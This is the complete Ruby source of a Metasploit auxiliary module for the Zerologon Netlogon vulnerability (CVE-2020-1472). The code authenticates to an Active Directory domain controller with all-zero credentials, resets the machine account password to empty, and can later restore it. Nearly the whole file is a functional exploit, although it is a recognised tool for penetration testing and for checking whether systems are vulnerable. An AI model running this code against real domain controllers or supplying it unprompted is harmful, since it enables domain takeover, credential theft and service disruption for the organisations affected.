## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'windows_error' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB::Client include Msf::Auxiliary::Report CheckCode = Exploit::CheckCode Netlogon = RubySMB::Dcerpc::Netlogon EMPTY_SHARED_SECRET = OpenSSL::Digest.digest('MD4', '') def initialize(info = {}) super( update_info( info, 'Name' => 'Netlogon Weak Cryptographic Authentication', 'Description' => %q{ A vulnerability exists within the Netlogon authentication process where the security properties granted by AES are lost due to an implementation flaw related to the use of a static initialization vector (IV). An attacker can leverage this flaw to target an Active Directory Domain Controller and make repeated authentication attempts using NULL data fields which will succeed every 1 in 256 tries (~0.4%). This module leverages the vulnerability to reset the machine account password to an empty string, which will then allow the attacker to authenticate as the machine account. After exploitation, it's important to restore this password to it's original value. Failure to do so can result in service instability. }, 'Author' => [ 'Tom Tervoort', # original vulnerability details 'Spencer McIntyre', # metasploit module 'Dirk-jan Mollema' # password restoration technique ], 'Notes' => { 'AKA' => ['Zerologon'], 'Stability' => [CRASH_SAFE], 'Reliability' => [], 'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS] }, 'License' => MSF_LICENSE, 'Actions' => [ [ 'REMOVE', { 'Description' => 'Remove the machine account password' } ], [ 'RESTORE', { 'Description' => 'Restore the machine account password' } ] ], 'DefaultAction' => 'REMOVE', 'References' => [ [ 'CVE', '2020-1472' ], [ 'URL', 'https://www.secura.com/blog/zero-logon' ], [ 'URL', 'https://github.com/SecuraBV/CVE-2020-1472/blob/master/zerologon_tester.py' ], [ 'URL', 'https://github.com/dirkjanm/CVE-2020-1472/blob/master/restorepassword.py' ] ] ) ) register_options( [ OptPort.new('RPORT', [ false, 'The netlogon RPC port' ]), OptString.new('NBNAME', [ true, 'The server\'s NetBIOS name' ]), OptString.new('PASSWORD', [ false, 'The password to restore for the machine account (in hex)' ], conditions: %w[ACTION == RESTORE]), ] ) end def peer "#{rhost}:#{@dport || datastore['RPORT']}" end def bind_to_netlogon_service @dport = datastore['RPORT'] if @dport.nil? || @dport == 0 @dport = dcerpc_endpoint_find_tcp(datastore['RHOST'], Netlogon::UUID, '1.0', 'ncacn_ip_tcp') fail_with(Failure::NotFound, 'Could not determine the RPC port used by the Microsoft Netlogon Server') unless @dport end # Bind to the service handle = dcerpc_handle(Netlogon::UUID, '1.0', 'ncacn_ip_tcp', [@dport]) print_status("Binding to #{handle} ...") dcerpc_bind(handle) print_status("Bound to #{handle} ...") end def check bind_to_netlogon_service status = nil 2000.times do netr_server_req_challenge response = netr_server_authenticate3 break if (status = response.error_status) == 0 windows_error = ::WindowsError::NTStatus.find_by_retval(response.error_status.to_i).first # Try again if the Failure is STATUS_ACCESS_DENIED, otherwise something has gone wrong next if windows_error == ::WindowsError::NTStatus::STATUS_ACCESS_DENIED fail_with(Failure::UnexpectedReply, windows_error) end return CheckCode::Detected unless status == 0 CheckCode::Vulnerable end def run case action.name when 'REMOVE' action_remove_password when 'RESTORE' action_restore_password end end def action_remove_password fail_with(Failure::Unknown, 'Failed to authenticate to the server by leveraging the vulnerability') unless check == CheckCode::Vulnerable print_good('Successfully authenticated') report_vuln( host: rhost, port: @dport, name: name, sname: 'dcerpc', proto: 'tcp', refs: references, info: "Module #{fullname} successfully authenticated to the server without knowledge of the shared secret" ) response = netr_server_password_set2 status = response.error_status.to_i fail_with(Failure::UnexpectedReply, "Password change failed with NT status: 0x#{status.to_s(16)}") unless status == 0 print_good("Successfully set the machine account (#{datastore['NBNAME']}$) password to: aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 (empty)") end def action_restore_password fail_with(Failure::BadConfig, 'The RESTORE action requires the PASSWORD option to be set') if datastore['PASSWORD'].blank? fail_with(Failure::BadConfig, 'The PASSWORD option must be in hex') if /^([0-9a-fA-F]{2})+$/ !~ datastore['PASSWORD'] password = [datastore['PASSWORD']].pack('H*') bind_to_netlogon_service client_challenge = OpenSSL::Random.random_bytes(8) response = netr_server_req_challenge(client_challenge: client_challenge) session_key = Netlogon.calculate_session_key(EMPTY_SHARED_SECRET, client_challenge, response.server_challenge) ppp = Netlogon.encrypt_credential(session_key, client_challenge) response = netr_server_authenticate3(client_credential: ppp) fail_with(Failure::NoAccess, 'Failed to authenticate (the machine account password may not be empty)') unless response.error_status == 0 new_password_data = ("\x00" * (512 - password.length)) + password + [password.length].pack('V') response = netr_server_password_set2( authenticator: Netlogon::NetlogonAuthenticator.new( credential: Netlogon.encrypt_credential(session_key, [ppp.unpack1('Q') + 10].pack('Q')), timestamp: 10 ), clear_new_password: Netlogon.encrypt_credential(session_key, new_password_data) ) status = response.error_status.to_i fail_with(Failure::UnexpectedReply, "Password change failed with NT status: 0x#{status.to_s(16)}") unless status == 0 print_good("Successfully set machine account (#{datastore['NBNAME']}$) password") end def netr_server_authenticate3(client_credential: "\x00" * 8) nrpc_call('NetrServerAuthenticate3', primary_name: "\\\\#{datastore['NBNAME']}", account_name: "#{datastore['NBNAME']}$", secure_channel_type: :ServerSecureChannel, computer_name: datastore['NBNAME'], client_credential: client_credential, flags: 0x212fffff) end def netr_server_password_set2(authenticator: nil, clear_new_password: "\x00" * 516) authenticator ||= Netlogon::NetlogonAuthenticator.new(credential: "\x00" * 8, timestamp: 0) nrpc_call('NetrServerPasswordSet2', primary_name: "\\\\#{datastore['NBNAME']}", account_name: "#{datastore['NBNAME']}$", secure_channel_type: :ServerSecureChannel, computer_name: datastore['NBNAME'], authenticator: authenticator, clear_new_password: clear_new_password) end def netr_server_req_challenge(client_challenge: "\x00" * 8) nrpc_call('NetrServerReqChallenge', primary_name: "\\\\#{datastore['NBNAME']}", computer_name: datastore['NBNAME'], client_challenge: client_challenge) end def nrpc_call(name, **kwargs) request = Netlogon.const_get("#{name}Request").new(**kwargs) begin raw_response = dcerpc.call(request.opnum, request.to_binary_s) rescue Rex::Proto::DCERPC::Exceptions::Fault fail_with(Failure::UnexpectedReply, "The #{name} Netlogon RPC request failed") end Netlogon.const_get("#{name}Response").read(raw_response) end end